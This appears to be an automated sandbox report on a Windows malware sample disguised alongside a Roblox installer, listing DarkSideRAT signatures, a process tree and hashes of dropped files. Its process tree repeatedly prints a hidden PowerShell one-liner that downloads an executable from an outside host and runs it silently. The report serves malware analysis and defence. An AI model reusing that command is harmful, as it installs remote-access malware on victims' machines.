Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/08/2026, 07:51

General

  • Target
    2026-08-02_e142869f1dba511475cc9d1f38818b05_icedid_luca-stealer_njrat_stealc.exe
  • Size 11.6MB
  • Sample260802-jp6fpsxfra
  • SHA256 eecc5f355e240693e89f116d25a2d2f1d8d972c7f89b0886f0153003ffdacd5b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: DarkSideRAT

    DarkSideRAT is a remote access trojan.

  • Detects DarkSideRAT 1 IoCs
  • Detects executables containing URLs to raw contents of a Github gist 2 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 2 IoCs
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 6 IoCs
  • Modifies registry class 30 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-02_e142869f1dba511475cc9d1f38818b05_icedid_luca-stealer_njrat_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-02_e142869f1dba511475cc9d1f38818b05_icedid_luca-stealer_njrat_stealc.exe"
    1⤵
    • Downloads MZ/PE file
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4952
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:APPDATA\BK781222.exe; Start-Process -FilePath $env:APPDATA\BK781222.exe -WindowStyle Hidden }"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5212
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:APPDATA\BK781222.exe; Start-Process -FilePath $env:APPDATA\BK781222.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2860
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:APPDATA\BK781222.exe; Start-Process -FilePath $env:APPDATA\BK781222.exe -WindowStyle Hidden }"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Downloads MZ/PE file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4284
          • C:\Users\Admin\AppData\Roaming\BK781222.exe
            "C:\Users\Admin\AppData\Roaming\BK781222.exe"
            5⤵
            • Executes dropped EXE
            PID:1508
    • C:\Users\Admin\AppData\Local\Temp\version-ad5d3e2906444472-RobloxPlayerInstaller.exe
      "C:\Users\Admin\AppData\Local\Temp\version-ad5d3e2906444472-RobloxPlayerInstaller.exe"
      2⤵
      • Executes dropped EXE
      • Checks whether UAC is enabled
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      • Enumerates system info in registry
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3012
      • C:\Program Files (x86)\Roblox\Versions\version-145f189a6a974303\RobloxPlayerBeta.exe
        "C:\Program Files (x86)\Roblox\Versions\version-145f189a6a974303\RobloxPlayerBeta.exe" -app -installerLaunchTimeEpochMs 0 -clientLaunchTimeEpochMs 0 -isInstallerLaunch 3012
        3⤵
        • Executes dropped EXE
        PID:4528
      • C:\Program Files (x86)\Roblox\Versions\version-145f189a6a974303\RobloxPlayerBeta.exe
        "C:\Program Files (x86)\Roblox\Versions\version-145f189a6a974303\RobloxPlayerBeta.exe" -app -installerLaunchTimeEpochMs 0 -clientLaunchTimeEpochMs 0 -isInstallerLaunch 3012
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious behavior: EnumeratesProcesses
        PID:2512

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        RobloxStudioInstaller.exe

        • Path C:\Program Files (x86)\Roblox\Versions\RobloxStudioInstaller.exe
        • Size 9.7MB
        • SHA256 a33eeac3fde1d1f99de2df08d63faa818ffdfcf2ace6a37e11bec1fe59409c5f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        RobloxPlayerBeta.dll

        • Path C:\Program Files (x86)\Roblox\Versions\version-145f189a6a974303\RobloxPlayerBeta.dll
        • Size 21.2MB
        • SHA256 269af4ce0111e647c0a7ca5d7f1e29d769c880fd6394bf03f8a368e5c34761b8
        • MD5 SHA1 SHA512 SSDEEP TLSH

        version-ad5d3e2906444472-RobloxPlayerInstaller.exe

        • Path C:\Users\Admin\AppData\Local\Temp\version-ad5d3e2906444472-RobloxPlayerInstaller.exe
        • Size 9.6MB
        • SHA256 8440c281f7682f3f9b4e7eef1b58da2e05a9ae6475b19f71998b33c4f4e72006
        • MD5 SHA1 SHA512 SSDEEP TLSH

        BK781222.exe

        • Path C:\Users\Admin\AppData\Roaming\BK781222.exe
        • Size 67KB
        • SHA256 245c4870dbf4b2f0102835addb1780d845bd1c31d5ac2a8ac7a5dfe993d6365f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/4284-16-0x0000024C33790000-0x0000024C337B2000-memory.dmp